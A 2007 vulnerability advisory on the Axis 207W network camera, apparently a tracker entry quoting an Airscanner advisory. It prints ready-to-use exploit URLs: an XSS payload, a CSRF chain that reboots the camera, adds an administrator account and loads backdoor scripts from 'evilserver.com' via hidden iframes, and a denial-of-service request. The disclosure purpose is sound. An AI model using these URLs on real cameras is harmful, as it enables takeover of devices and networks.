Original Entry Date: Sep 17 2007

Impact: Denial of service via network, Disclosure of authentication information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 207W Model
|
Description: Several vulnerabilities were reported in the Axis 207W Network Camera. A remote user can conduct cross-site scripting attacks. A remote user can conduct cross-site request forgery attacks to gain root access on the target device.
The software does not properly filter HTML code from user-supplied input before displaying the input. A remote user can create a
specially crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's
browser. The code will originate from the site running the Axis Network Camera software and will run in the security context of
that site. As a result, the code will be able to access the target user's cookies (including authentication cookies), if any, associated
with the site, access data recently submitted by the target user via web form to the site, or take actions on the site acting as
the target user.
A demonstration exploit URL is provided:
http://[target]/incl/image_incl.shtml?camNo=</script><script>alert(String.fromCharCode(88,83,83))</script>
A remote user can conduct a cross-site request forgery attack against a target user logged in with administrative privileges
to gain root access on the target camera.
A remote authenticated user can cause denial of service conditions using the following
type of URL:
http://[target]/axis-cgi/buffer/command.cgi?do=start&buffername=<unique buffer name>
The system sends the username
and password via the network in plaintext form.
The vendor has been notified.

*Airscanner Mobile Security Advisory #07080101: Axis 207W Multiple
Vulnerabilities*
*Product:*
AXIS 207W
*Platform:*
NA
*Requirements:*
AXIS 207W Camera on WLAN/LAN

* Risk Level:*
High - Camera compromise leading to network compromise
*Program Summary:
*From the site: http://www.axis.com/products/cam_207/index.htm
The AXIS 207 offers the best image quality in its class, providing
excellent image quality also in low lighting conditions.
# Superior image quality with progressive scan
# 30 frames per second in VGA resolution (640x480 pixels)
# Network security using multiple user access levels with password
protection
*Details:*
Details are presented at http://www.informit.com/
<http://www.informit.com/articles/article.aspx?p=1016102>
In summary, the AXIS 207W is vulnerable to numerous attacks. Some of
these are related to wireless protocol vulnerabilities, but the majority
are exploitable via the web application interface included with the
camera. The most significant issue is that a CSRF attack against a user
logged in as an administrator can lead to root access of the Linux based
operating system on the camera. As a result, the camera can be turned
into an internal resource for any malicous hacker, through which custom
scripts can be launched. This can include port scans, banner grabbing,
buffer overflow exploits, application attacks, and more. Note that this
attack vector will bypass most firewalls.
Web Application:
# Base64 'encrypted' user/pass sent as plaintext from client to user.
# Global Cross-site scripting vulnerability:
http://<IP>/incl/image_incl.shtml?camNo=</script><script>alert(String.fromCharCode(
88,83,83))</script>
# Cross-site Request Forgery attack leads to root access on camera
through which custom scripts can be executed:
1. Reboot the camera - http://1<IP>/axis-cgi/admin/restart.cgi
2. Add a new administrator -
http://<IP>/axis-cgi/admin/pwdgrp.cgi?action=add&user=owner1&grp=axuser&sgrp=axview
:axoper:axadmin&pwd=owner1&comment=WebUser&return_page=/admin/users_set.shtml%3Fpageclose
%3D1
3. Root the camera/add a backdoor -
http://<IP>/admin/restartMessage.shtml?server=<iframe%20style=visibility:hidden%20src=http:/
/www.evilserver.com/wifi/axisbd.php><iframe
src=http://www.evilserver.com/wifi/axisrb.htm><!—
# Denial of Service attack via restricted user account:
http://<IP>/axis-cgi/buffer/command.cgi?do=start&buffername=<unique
buffer name>
* Workaround:*
None.
